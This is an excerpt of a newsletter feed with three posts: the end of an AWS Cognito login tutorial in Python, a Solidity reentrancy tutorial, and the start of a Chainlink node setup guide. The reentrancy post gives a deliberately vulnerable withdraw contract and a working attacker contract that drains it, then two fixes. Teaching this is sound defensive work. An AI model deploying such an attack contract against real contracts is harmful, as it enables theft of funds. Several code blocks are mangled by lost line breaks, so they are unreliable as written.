            <span class="hljs-title">ClientId</span><span class="hljs-operator">=</span><span class="hljs-title">CLIENT_ID</span>,
            <span class="hljs-title">SecretHash</span><span class="hljs-operator">=</span><span class="hljs-title">get_secret_hash</span>(<span class="hljs-title">username</span>),
            <span class="hljs-title">Username</span><span class="hljs-operator">=</span><span class="hljs-title">username</span>,
            <span class="hljs-title">ConfirmationCode</span><span class="hljs-operator">=</span><span class="hljs-title">code</span>,
            <span class="hljs-title">Password</span><span class="hljs-operator">=</span><span class="hljs-title">password</span>,
           )
    <span class="hljs-title">except</span> <span class="hljs-title">client</span>.<span class="hljs-title">exceptions</span>.<span class="hljs-title">UserNotFoundException</span> <span class="hljs-title"><span class="hljs-keyword">as</span></span> <span class="hljs-title">e</span>:
        <span class="hljs-title"><span class="hljs-keyword">return</span></span> {<span class="hljs-string">"error"</span>: <span class="hljs-title">True</span>, 
                <span class="hljs-string">"success"</span>: <span class="hljs-title">False</span>,
                <span class="hljs-string">"data"</span>:  <span class="hljs-title">None</span>,
                <span class="hljs-string">"message"</span>: <span class="hljs-string">"Username doesnt exists"</span>}
        <span class="hljs-title">except</span> <span class="hljs-title">client</span>.<span class="hljs-title">exceptions</span>.<span class="hljs-title">CodeMismatchException</span> <span class="hljs-title"><span class="hljs-keyword">as</span></span> <span class="hljs-title">e</span>:
        <span class="hljs-title"><span class="hljs-keyword">return</span></span> {<span class="hljs-string">"error"</span>: <span class="hljs-title">True</span>, 
               <span class="hljs-string">"success"</span>: <span class="hljs-title">False</span>,
               <span class="hljs-string">"data"</span>: <span class="hljs-title">None</span>,
               <span class="hljs-string">"message"</span>: <span class="hljs-string">"Invalid Verification code"</span>}
        
    <span class="hljs-title">except</span> <span class="hljs-title">client</span>.<span class="hljs-title">exceptions</span>.<span class="hljs-title">NotAuthorizedException</span> <span class="hljs-title"><span class="hljs-keyword">as</span></span> <span class="hljs-title">e</span>:
        <span class="hljs-title"><span class="hljs-keyword">return</span></span> {<span class="hljs-string">"error"</span>: <span class="hljs-title">True</span>, 
                 <span class="hljs-string">"success"</span>: <span class="hljs-title">False</span>, 
                 <span class="hljs-string">"data"</span>: <span class="hljs-title">None</span>, 
                 <span class="hljs-string">"message"</span>: <span class="hljs-string">"User is already confirmed"</span>}
    
    <span class="hljs-title">except</span> <span class="hljs-title">Exception</span> <span class="hljs-title"><span class="hljs-keyword">as</span></span> <span class="hljs-title">e</span>:
        <span class="hljs-title"><span class="hljs-keyword">return</span></span> {<span class="hljs-string">"error"</span>: <span class="hljs-title">True</span>, 
                <span class="hljs-string">"success"</span>: <span class="hljs-title">False</span>,
                <span class="hljs-string">"data"</span>: <span class="hljs-title">None</span>,
                <span class="hljs-string">"message"</span>: <span class="hljs-title">f</span><span class="hljs-string">"Unknown error {e.__str__()} "</span>}
      
    <span class="hljs-title"><span class="hljs-keyword">return</span></span> {<span class="hljs-string">"error"</span>: <span class="hljs-title">False</span>, 
            <span class="hljs-string">"success"</span>: <span class="hljs-title">True</span>, 
            <span class="hljs-string">"message"</span>: <span class="hljs-title">f</span><span class="hljs-string">"Password has been changed successfully"</span>,
            <span class="hljs-string">"data"</span>: <span class="hljs-title">None</span>}
</code></pre><p>You can check which all users are currently signed up with your app, and which all users are in confirmed or unconfirmed state on cognito console.</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/4b9f2cf5b09487e7058bf74d347bf4e6efae39eb041db70bd80f73139149aeb6.jpg" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>The last bit is to provide a login for the users who have successfully completed their registration process.</p><pre data-type="codeBlock" text="import boto3
import botocore.exceptions
import hmac
import hashlib
import base64
import jsonUSER_POOL_ID = &apos;&apos;
CLIENT_ID = &apos;&apos;
CLIENT_SECRET = &apos;&apos;def get_secret_hash(username):
  msg = username + CLIENT_ID 
  dig = hmac.new(str(CLIENT_SECRET).encode(&apos;utf-8&apos;),
  msg = str(msg).encode(&apos;utf-8&apos;), digestmod=hashlib.sha256).digest()
  d2 = base64.b64encode(dig).decode()
  return d2def initiate_auth(client, username, password):
  secret_hash = get_secret_hash(username)
    try:
      resp = client.admin_initiate_auth(
                 UserPoolId=USER_POOL_ID,
                 ClientId=CLIENT_ID,
                 AuthFlow=&apos;ADMIN_NO_SRP_AUTH&apos;,
                 AuthParameters={
                     &apos;USERNAME&apos;: username,
                     &apos;SECRET_HASH&apos;: secret_hash,
                     &apos;PASSWORD&apos;: password,
                  },
                ClientMetadata={
                  &apos;username&apos;: username,
                  &apos;password&apos;: password,              })    except client.exceptions.NotAuthorizedException:
        return None, &quot;The username or password is incorrect&quot;
    except client.exceptions.UserNotConfirmedException:
        return None, &quot;User is not confirmed&quot;
    except Exception as e:
        return None, e.__str__()
  return resp, Nonedef lambda_handler(event, context):
   client = boto3.client(&apos;cognito-idp&apos;)
   for field in [&quot;username&quot;, &quot;password&quot;]:
     if event.get(field) is None:
       return  {&quot;error&quot;: True, 
                &quot;success&quot;: False, 
                &quot;message&quot;: f&quot;{field} is required&quot;, 
                &quot;data&quot;: None}
   resp, msg = initiate_auth(client, username, password)
   if msg != None:
      return {&apos;message&apos;: msg, 
              &quot;error&quot;: True, &quot;success&quot;: False, &quot;data&quot;: None}   if resp.get(&quot;AuthenticationResult&quot;):
      return {&apos;message&apos;: &quot;success&quot;, 
               &quot;error&quot;: False, 
               &quot;success&quot;: True, 
               &quot;data&quot;: {
               &quot;id_token&quot;: resp[&quot;AuthenticationResult&quot;][&quot;IdToken&quot;],
      &quot;refresh_token&quot;: resp[&quot;AuthenticationResult&quot;][&quot;RefreshToken&quot;],
      &quot;access_token&quot;: resp[&quot;AuthenticationResult&quot;][&quot;AccessToken&quot;],
      &quot;expires_in&quot;: resp[&quot;AuthenticationResult&quot;][&quot;ExpiresIn&quot;]
      &quot;token_type&quot;: resp[&quot;AuthenticationResult&quot;][&quot;TokenType&quot;]
            }}
    else: #this code block is relevant only when MFA is enabled
        return {&quot;error&quot;: True, 
           &quot;success&quot;: False, 
           &quot;data&quot;: None, &quot;message&quot;: None}
"><code><span class="hljs-keyword">import</span> <span class="hljs-title">boto3</span>
<span class="hljs-title"><span class="hljs-keyword">import</span></span> <span class="hljs-title">botocore</span>.<span class="hljs-title">exceptions</span>
<span class="hljs-title"><span class="hljs-keyword">import</span></span> <span class="hljs-title">hmac</span>
<span class="hljs-title"><span class="hljs-keyword">import</span></span> <span class="hljs-title">hashlib</span>
<span class="hljs-title"><span class="hljs-keyword">import</span></span> <span class="hljs-title">base64</span>
<span class="hljs-title"><span class="hljs-keyword">import</span></span> <span class="hljs-title">jsonUSER_POOL_ID</span> <span class="hljs-operator">=</span> <span class="hljs-string">''</span>
<span class="hljs-title">CLIENT_ID</span> <span class="hljs-operator">=</span> <span class="hljs-string">''</span>
<span class="hljs-title">CLIENT_SECRET</span> <span class="hljs-operator">=</span> <span class="hljs-string">''</span><span class="hljs-title">def</span> <span class="hljs-title">get_secret_hash</span>(<span class="hljs-title">username</span>):
  <span class="hljs-title"><span class="hljs-built_in">msg</span></span> <span class="hljs-operator">=</span> <span class="hljs-title">username</span> <span class="hljs-operator">+</span> <span class="hljs-title">CLIENT_ID</span> 
  <span class="hljs-title">dig</span> <span class="hljs-operator">=</span> <span class="hljs-title">hmac</span>.<span class="hljs-title"><span class="hljs-keyword">new</span></span>(<span class="hljs-title">str</span>(<span class="hljs-title">CLIENT_SECRET</span>).<span class="hljs-title">encode</span>(<span class="hljs-string">'utf-8'</span>),
  <span class="hljs-title"><span class="hljs-built_in">msg</span></span> <span class="hljs-operator">=</span> <span class="hljs-title">str</span>(<span class="hljs-title"><span class="hljs-built_in">msg</span></span>).<span class="hljs-title">encode</span>(<span class="hljs-string">'utf-8'</span>), <span class="hljs-title">digestmod</span><span class="hljs-operator">=</span><span class="hljs-title">hashlib</span>.<span class="hljs-title"><span class="hljs-built_in">sha256</span></span>).<span class="hljs-title">digest</span>()
  <span class="hljs-title">d2</span> <span class="hljs-operator">=</span> <span class="hljs-title">base64</span>.<span class="hljs-title">b64encode</span>(<span class="hljs-title">dig</span>).<span class="hljs-title">decode</span>()
  <span class="hljs-title"><span class="hljs-keyword">return</span></span> <span class="hljs-title">d2def</span> <span class="hljs-title">initiate_auth</span>(<span class="hljs-title">client</span>, <span class="hljs-title">username</span>, <span class="hljs-title">password</span>):
  <span class="hljs-title">secret_hash</span> <span class="hljs-operator">=</span> <span class="hljs-title">get_secret_hash</span>(<span class="hljs-title">username</span>)
    <span class="hljs-title"><span class="hljs-keyword">try</span></span>:
      <span class="hljs-title">resp</span> <span class="hljs-operator">=</span> <span class="hljs-title">client</span>.<span class="hljs-title">admin_initiate_auth</span>(
                 <span class="hljs-title">UserPoolId</span><span class="hljs-operator">=</span><span class="hljs-title">USER_POOL_ID</span>,
                 <span class="hljs-title">ClientId</span><span class="hljs-operator">=</span><span class="hljs-title">CLIENT_ID</span>,
                 <span class="hljs-title">AuthFlow</span><span class="hljs-operator">=</span><span class="hljs-string">'ADMIN_NO_SRP_AUTH'</span>,
                 <span class="hljs-title">AuthParameters</span><span class="hljs-operator">=</span>{
                     <span class="hljs-string">'USERNAME'</span>: <span class="hljs-title">username</span>,
                     <span class="hljs-string">'SECRET_HASH'</span>: <span class="hljs-title">secret_hash</span>,
                     <span class="hljs-string">'PASSWORD'</span>: <span class="hljs-title">password</span>,
                  },
                <span class="hljs-title">ClientMetadata</span><span class="hljs-operator">=</span>{
                  <span class="hljs-string">'username'</span>: <span class="hljs-title">username</span>,
                  <span class="hljs-string">'password'</span>: <span class="hljs-title">password</span>,              })    <span class="hljs-title">except</span> <span class="hljs-title">client</span>.<span class="hljs-title">exceptions</span>.<span class="hljs-title">NotAuthorizedException</span>:
        <span class="hljs-title"><span class="hljs-keyword">return</span></span> <span class="hljs-title">None</span>, <span class="hljs-string">"The username or password is incorrect"</span>
    <span class="hljs-title">except</span> <span class="hljs-title">client</span>.<span class="hljs-title">exceptions</span>.<span class="hljs-title">UserNotConfirmedException</span>:
        <span class="hljs-title"><span class="hljs-keyword">return</span></span> <span class="hljs-title">None</span>, <span class="hljs-string">"User is not confirmed"</span>
    <span class="hljs-title">except</span> <span class="hljs-title">Exception</span> <span class="hljs-title"><span class="hljs-keyword">as</span></span> <span class="hljs-title">e</span>:
        <span class="hljs-title"><span class="hljs-keyword">return</span></span> <span class="hljs-title">None</span>, <span class="hljs-title">e</span>.<span class="hljs-title">__str__</span>()
  <span class="hljs-title"><span class="hljs-keyword">return</span></span> <span class="hljs-title">resp</span>, <span class="hljs-title">Nonedef</span> <span class="hljs-title">lambda_handler</span>(<span class="hljs-title"><span class="hljs-keyword">event</span></span>, <span class="hljs-title">context</span>):
   <span class="hljs-title">client</span> <span class="hljs-operator">=</span> <span class="hljs-title">boto3</span>.<span class="hljs-title">client</span>(<span class="hljs-string">'cognito-idp'</span>)
   <span class="hljs-title"><span class="hljs-keyword">for</span></span> <span class="hljs-title">field</span> <span class="hljs-title">in</span> [<span class="hljs-string">"username"</span>, <span class="hljs-string">"password"</span>]:
     <span class="hljs-title"><span class="hljs-keyword">if</span></span> <span class="hljs-title"><span class="hljs-keyword">event</span></span>.<span class="hljs-title">get</span>(<span class="hljs-title">field</span>) <span class="hljs-title"><span class="hljs-keyword">is</span></span> <span class="hljs-title">None</span>:
       <span class="hljs-title"><span class="hljs-keyword">return</span></span>  {<span class="hljs-string">"error"</span>: <span class="hljs-title">True</span>, 
                <span class="hljs-string">"success"</span>: <span class="hljs-title">False</span>, 
                <span class="hljs-string">"message"</span>: <span class="hljs-title">f</span><span class="hljs-string">"{field} is required"</span>, 
                <span class="hljs-string">"data"</span>: <span class="hljs-title">None</span>}
   <span class="hljs-title">resp</span>, <span class="hljs-title"><span class="hljs-built_in">msg</span></span> <span class="hljs-operator">=</span> <span class="hljs-title">initiate_auth</span>(<span class="hljs-title">client</span>, <span class="hljs-title">username</span>, <span class="hljs-title">password</span>)
   <span class="hljs-title"><span class="hljs-keyword">if</span></span> <span class="hljs-title"><span class="hljs-built_in">msg</span></span> <span class="hljs-operator">!</span><span class="hljs-operator">=</span> <span class="hljs-title">None</span>:
      <span class="hljs-title"><span class="hljs-keyword">return</span></span> {<span class="hljs-string">'message'</span>: <span class="hljs-title"><span class="hljs-built_in">msg</span></span>, 
              <span class="hljs-string">"error"</span>: <span class="hljs-title">True</span>, <span class="hljs-string">"success"</span>: <span class="hljs-title">False</span>, <span class="hljs-string">"data"</span>: <span class="hljs-title">None</span>}   <span class="hljs-title"><span class="hljs-keyword">if</span></span> <span class="hljs-title">resp</span>.<span class="hljs-title">get</span>(<span class="hljs-string">"AuthenticationResult"</span>):
      <span class="hljs-title"><span class="hljs-keyword">return</span></span> {<span class="hljs-string">'message'</span>: <span class="hljs-string">"success"</span>, 
               <span class="hljs-string">"error"</span>: <span class="hljs-title">False</span>, 
               <span class="hljs-string">"success"</span>: <span class="hljs-title">True</span>, 
               <span class="hljs-string">"data"</span>: {
               <span class="hljs-string">"id_token"</span>: <span class="hljs-title">resp</span>[<span class="hljs-string">"AuthenticationResult"</span>][<span class="hljs-string">"IdToken"</span>],
      <span class="hljs-string">"refresh_token"</span>: <span class="hljs-title">resp</span>[<span class="hljs-string">"AuthenticationResult"</span>][<span class="hljs-string">"RefreshToken"</span>],
      <span class="hljs-string">"access_token"</span>: <span class="hljs-title">resp</span>[<span class="hljs-string">"AuthenticationResult"</span>][<span class="hljs-string">"AccessToken"</span>],
      <span class="hljs-string">"expires_in"</span>: <span class="hljs-title">resp</span>[<span class="hljs-string">"AuthenticationResult"</span>][<span class="hljs-string">"ExpiresIn"</span>]
      <span class="hljs-string">"token_type"</span>: <span class="hljs-title">resp</span>[<span class="hljs-string">"AuthenticationResult"</span>][<span class="hljs-string">"TokenType"</span>]
            }}
    <span class="hljs-title"><span class="hljs-keyword">else</span></span>: #<span class="hljs-title"><span class="hljs-built_in">this</span></span> <span class="hljs-title">code</span> <span class="hljs-title"><span class="hljs-built_in">block</span></span> <span class="hljs-title"><span class="hljs-keyword">is</span></span> <span class="hljs-title">relevant</span> <span class="hljs-title">only</span> <span class="hljs-title">when</span> <span class="hljs-title">MFA</span> <span class="hljs-title"><span class="hljs-keyword">is</span></span> <span class="hljs-title">enabled</span>
        <span class="hljs-title"><span class="hljs-keyword">return</span></span> {<span class="hljs-string">"error"</span>: <span class="hljs-title">True</span>, 
           <span class="hljs-string">"success"</span>: <span class="hljs-title">False</span>, 
           <span class="hljs-string">"data"</span>: <span class="hljs-title">None</span>, <span class="hljs-string">"message"</span>: <span class="hljs-title">None</span>}
</code></pre><p>In the next part, we will explore linking these lambda functions with API Gateway to access signup functionalities and also the use of access tokens to secure our other application APIs. Cheers!</p>]]></content:encoded>
            <author>amafansofficial@newsletter.paragraph.com (AmaFansOfficial)</author>
        </item>
        <item>
            <title><![CDATA[Reentrancy exploit]]></title>
            <link>https://paragraph.com/@amafansofficial/reentrancy-exploit</link>
            <guid>uqv7U9rnCw3zSkP2NlwW</guid>
            <pubDate>Sat, 11 Jun 2022 20:23:18 GMT</pubDate>
            <description><![CDATA[https://www.ama.fans/graphicaldot/post/0x8ae6fdb9c256acdce326b324ff1ee400f46d79e78a03a11bc74e144c164124b5 Solidity supports three ways of transferring ether between wallets and smart contracts. These supported methods of transferring ether are send(), transfer() and call.value(). The methods differ by how much gas they pass to the transfer for executing other methods (in case the recipient is a smart contract), and by how they handle exceptions. send() and call().value() will merely return fa...]]></description>
            <content:encoded><![CDATA[<p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.ama.fans/graphicaldot/post/0x8ae6fdb9c256acdce326b324ff1ee400f46d79e78a03a11bc74e144c164124b5">https://www.ama.fans/graphicaldot/post/0x8ae6fdb9c256acdce326b324ff1ee400f46d79e78a03a11bc74e144c164124b5</a></p><p>Solidity supports three ways of transferring ether between wallets and smart contracts. These supported methods of transferring ether are send(), transfer() and call.value(). The methods differ by how much gas they pass to the transfer for executing other methods (in case the recipient is a smart contract), and by how they handle exceptions. send() and call().value() will merely return false upon failure but transfer() will throw an exception which will also revert state to what it was before the function call. These methods are summarized below</p><p>Therefore, your send() function should always be inside the require statement, to inform you about the failed execution.</p><p>In case of transfer(), you get to know that your transaction is unsuccessful right at the execution attempt.</p><p>Lastly, in case of call(), it still <strong>returns false</strong> in case an error occurs, that is why keep the usage of <code>require()</code> in mind. The principal difference from the two previous functions is an opportunity to <strong>set gas limit</strong> via <strong>.call{value: _amount, gas: gasValue}(“”)</strong> . It is necessary in case the payable function of the contract receiving ether performs a complex logic, that requires plenty of gas.</p><p>A contract can have at most one <code>receive</code> function, declared using <code>receive() external payable { ... }</code> (without the <code>function</code> keyword). This function cannot have arguments, cannot return anything and must have <code>external</code> visibility and <code>payable</code> state mutability. It is executed on a call to the contract with empty calldata. This is the function that is executed on plain Ether transfers (e.g. via <code>.send()</code> or <code>.transfer()</code>). If no such function exists, but a payable <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://solidity.readthedocs.io/en/v0.6.10/contracts.html#fallback-function">fallback function</a> exists, the fallback function will be called on a plain Ether transfer. If neither a receive Ether nor a payable fallback function is present, the contract cannot receive Ether through regular transactions and throws an exception.</p><p>In the worst case, the fallback function can only rely on 2300 gas being available (for example when <code>send</code> or <code>transfer</code> is used), leaving little room to perform other operations except basic logging. The following operations will consume more gas than the 2300 gas stipend:</p><ul><li><p>Writing to storage</p></li><li><p>Creating a contract</p></li><li><p>Calling an external function which consumes a large amount of gas</p></li><li><p>Sending Ether</p></li></ul><p>But in recent years, It has become a norm to use call() function to transfer ether rather than transfer and send because of the following reason: Any smart contract that uses <code>transfer()</code> or <code>send()</code> is taking a hard dependency on gas costs by forwarding a fixed amount of gas: 2300.</p><p>Read more here:<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://diligence.consensys.net/blog/2019/09/stop-using-soliditys-transfer-now/">https://diligence.consensys.net/blog/2019/09/stop-using-soliditys-transfer-now/</a></p><p>This whole background was necessary to understand the reentrancy attack. Let us consider the following contract:</p><pre data-type="codeBlock" text="// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.10;contract EtherRentrancy {
    
    mapping (address =&gt; uint256) public balances;
    address public owner;
    
    constructor() public {
        owner = msg.sender;
    }
    
    function deposit() public payable{
        balances[msg.sender] += msg.value;
    }
    
    
    function withdraw(uint _amount) public {
        require (balances[msg.sender] &gt;= _amount, &quot;Insufficient funds&quot;);
        
        (bool sent, ) = msg.sender.call{value: _amount}(&quot;&quot;);
        require(sent, &quot;Failed to send funds&quot;);
        
        balances[msg.sender] -= _amount;
    }
    
    function getBalance() public view returns(uint){
        return address(this).balance;
        
    }
    
}
"><code><span class="hljs-comment">// SPDX-License-Identifier: Unlicensed</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.6.10;</span><span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">EtherRentrancy</span> </span>{
    
    <span class="hljs-keyword">mapping</span> (<span class="hljs-keyword">address</span> <span class="hljs-operator">=</span><span class="hljs-operator">></span> <span class="hljs-keyword">uint256</span>) <span class="hljs-keyword">public</span> balances;
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> owner;
    
    <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        owner <span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>;
    }
    
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">deposit</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span></span>{
        balances[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>] <span class="hljs-operator">+</span><span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">value</span>;
    }
    
    
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">withdraw</span>(<span class="hljs-params"><span class="hljs-keyword">uint</span> _amount</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        <span class="hljs-built_in">require</span> (balances[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>] <span class="hljs-operator">></span><span class="hljs-operator">=</span> _amount, <span class="hljs-string">"Insufficient funds"</span>);
        
        (<span class="hljs-keyword">bool</span> sent, ) <span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>.<span class="hljs-built_in">call</span>{<span class="hljs-built_in">value</span>: _amount}(<span class="hljs-string">""</span>);
        <span class="hljs-built_in">require</span>(sent, <span class="hljs-string">"Failed to send funds"</span>);
        
        balances[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>] <span class="hljs-operator">-</span><span class="hljs-operator">=</span> _amount;
    }
    
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">getBalance</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span>(<span class="hljs-params"><span class="hljs-keyword">uint</span></span>)</span>{
        <span class="hljs-keyword">return</span> <span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>).<span class="hljs-built_in">balance</span>;
        
    }
    
}
</code></pre><p>In this contract, any valid Ethereum address can deposit ether through the deposit function and can withdraw their ether with the withdraw function.</p><p>This is the contract we will use to drain all the funds from the above contract.</p><pre data-type="codeBlock" text="contract HelloBreaksLoose{
    EtherRentrancy etherrentrancy;
    
    constructor(address _etherrentrancy) public {
        etherrentrancy = EtherRentrancy(_etherrentrancy);
    }    receive() external payable {
        if (etherrentrancy.getBalance() &gt;= 1 ether){
            etherrentrancy.withdraw(1 ether);
            
        }
    }    function attack() external payable{
        require(msg.value &gt;= 1 ether);
        etherrentrancy.deposit{value: msg.value}();
        etherrentrancy.withdraw(1 ether);
        
        
    }
    function getBalance() public view returns(uint){
        return address(this).balance;
        
    }}
"><code><span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">HelloBreaksLoose</span></span>{
    EtherRentrancy etherrentrancy;
    
    <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> _etherrentrancy</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        etherrentrancy <span class="hljs-operator">=</span> EtherRentrancy(_etherrentrancy);
    }    <span class="hljs-function"><span class="hljs-keyword">receive</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
        <span class="hljs-keyword">if</span> (etherrentrancy.getBalance() <span class="hljs-operator">></span><span class="hljs-operator">=</span> <span class="hljs-number">1</span> <span class="hljs-literal">ether</span>){
            etherrentrancy.withdraw(<span class="hljs-number">1</span> <span class="hljs-literal">ether</span>);
            
        }
    }    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">attack</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span></span>{
        <span class="hljs-built_in">require</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">value</span> <span class="hljs-operator">></span><span class="hljs-operator">=</span> <span class="hljs-number">1</span> <span class="hljs-literal">ether</span>);
        etherrentrancy.deposit{<span class="hljs-built_in">value</span>: <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">value</span>}();
        etherrentrancy.withdraw(<span class="hljs-number">1</span> <span class="hljs-literal">ether</span>);
        
        
    }
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">getBalance</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span>(<span class="hljs-params"><span class="hljs-keyword">uint</span></span>)</span>{
        <span class="hljs-keyword">return</span> <span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>).<span class="hljs-built_in">balance</span>;
        
    }}
</code></pre><p>The contract should be deployed with the address of the EtherRentrancy contract.</p><p>Following are the execution steps when call function <strong>attack()</strong> of this contract:</p><p>Step1: attack(),</p><p>Step2: deposit() with 1 ether on EtherRentrancy contract;</p><p>Step3: withdraw() function of EtherRentrancy contract;</p><p>Step4: withdraw() function, in turn, will call the receive function of HelloBreaksLoose;</p><p>Step5: receive function will again call the withdraw() function;</p><p>The last two steps — Step 3 and Step4 — will run in a loop until EtherRentrancy has a balance of less than 1 ether.</p><p>There are two ways to stop this attack:</p><ol><li><p>Change the withdraw function: update your state variable before you make any external calls from your contract.</p><pre data-type="codeBlock" text="function withdraw(uint _amount) public {
        require (balances[msg.sender] &gt;= _amount, &quot;Insufficient f unds&quot;);
       //Now, update to state variable balances is happening before        // the call, the attacker wouldnt be able to withdraw
       // funds more than he/she deposited. Subsequent calls into 
       //this function will fail as the depositor will not have 
        // funds.        balances[msg.sender] -= _amount;
        (bool sent, ) = msg.sender.call{value: _amount}(&quot;&quot;);
        require(sent, &quot;Failed to send funds&quot;);
        
        
    }
"><code><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">withdraw</span>(<span class="hljs-params"><span class="hljs-keyword">uint</span> _amount</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        <span class="hljs-built_in">require</span> (balances[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>] <span class="hljs-operator">></span><span class="hljs-operator">=</span> _amount, <span class="hljs-string">"Insufficient f unds"</span>);
       <span class="hljs-comment">//Now, update to state variable balances is happening before        // the call, the attacker wouldnt be able to withdraw</span>
       <span class="hljs-comment">// funds more than he/she deposited. Subsequent calls into </span>
       <span class="hljs-comment">//this function will fail as the depositor will not have </span>
        <span class="hljs-comment">// funds.        balances[msg.sender] -= _amount;</span>
        (<span class="hljs-keyword">bool</span> sent, ) <span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>.<span class="hljs-built_in">call</span>{<span class="hljs-built_in">value</span>: _amount}(<span class="hljs-string">""</span>);
        <span class="hljs-built_in">require</span>(sent, <span class="hljs-string">"Failed to send funds"</span>);
        
        
    }
</code></pre></li><li><p>Using a modifier blockRentrancy: the idea is to lock the contract while any function of the contract is being executed, so only a single function in the contract can be executed at a time.</p></li></ol><pre data-type="codeBlock" text="bool internal locked; //only contract can change this variablemodifier blockRentrancy {    require(!locked, &quot;Contract is locked&quot;);
    locked = true;
     _;
     locked = false; //set locked = false after completion of      
                     // function execution}//Use this modifier in contract functions
function withdraw(uint _amount) public blockRentrancy{ .....}
"><code><span class="hljs-keyword">bool</span> <span class="hljs-keyword">internal</span> locked; <span class="hljs-comment">//only contract can change this variablemodifier blockRentrancy {    require(!locked, "Contract is locked");</span>
    locked <span class="hljs-operator">=</span> <span class="hljs-literal">true</span>;
     <span class="hljs-keyword">_</span>;
     locked <span class="hljs-operator">=</span> <span class="hljs-literal">false</span>; <span class="hljs-comment">//set locked = false after completion of      </span>
                     <span class="hljs-comment">// function execution}//Use this modifier in contract functions</span>
<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">withdraw</span>(<span class="hljs-params"><span class="hljs-keyword">uint</span> _amount</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title">blockRentrancy</span></span>{ .....}
</code></pre>]]></content:encoded>
            <author>amafansofficial@newsletter.paragraph.com (AmaFansOfficial)</author>
        </item>
        <item>
            <title><![CDATA[Running a Chainlink node]]></title>
            <link>https://paragraph.com/@amafansofficial/running-a-chainlink-node</link>
            <guid>hY6mDInOxioxDQUFK10f</guid>
            <pubDate>Sat, 11 Jun 2022 20:20:40 GMT</pubDate>
            <description><![CDATA[Step 1: Install docker on your server. Refer here. Step 2: Install postgresSQL on your server. Refer to the steps here Step 3: Create a new database and an admin user on this databaseubuntu@ip-172-31-4-16:$ sudo -u postgres psql psql (12.9 (Ubuntu 12.9-0ubuntu0.20.04.1)) Type "help" for help.postgres=# create database fantomProduction; postgres=# create user myuser with encrypted password 'myPassword'; postgres=# grant all privileges on database fantomProduction to myuser; Step 4: Make a new ...]]></description>
            <content:encoded><![CDATA[<p><strong>Step 1</strong>: Install docker on your server. Refer <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.digitalocean.com/community/tutorials/how-to-install-and-use-docker-on-ubuntu-20-04">here</a>.</p><p><strong>Step 2</strong>: Install postgresSQL on your server. Refer to the steps <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.digitalocean.com/community/tutorials/how-to-install-postgresql-on-ubuntu-20-04-quickstart">here</a></p><p><strong>Step 3</strong>: Create a new database and an admin user on this database</p><pre data-type="codeBlock" text="ubuntu@ip-172-31-4-16:$ sudo -u postgres psql
psql (12.9 (Ubuntu 12.9-0ubuntu0.20.04.1))
Type &quot;help&quot; for help.postgres=# create database fantomProduction;
postgres=# create user myuser with encrypted password &apos;myPassword&apos;;
postgres=# grant all privileges on database fantomProduction to myuser;
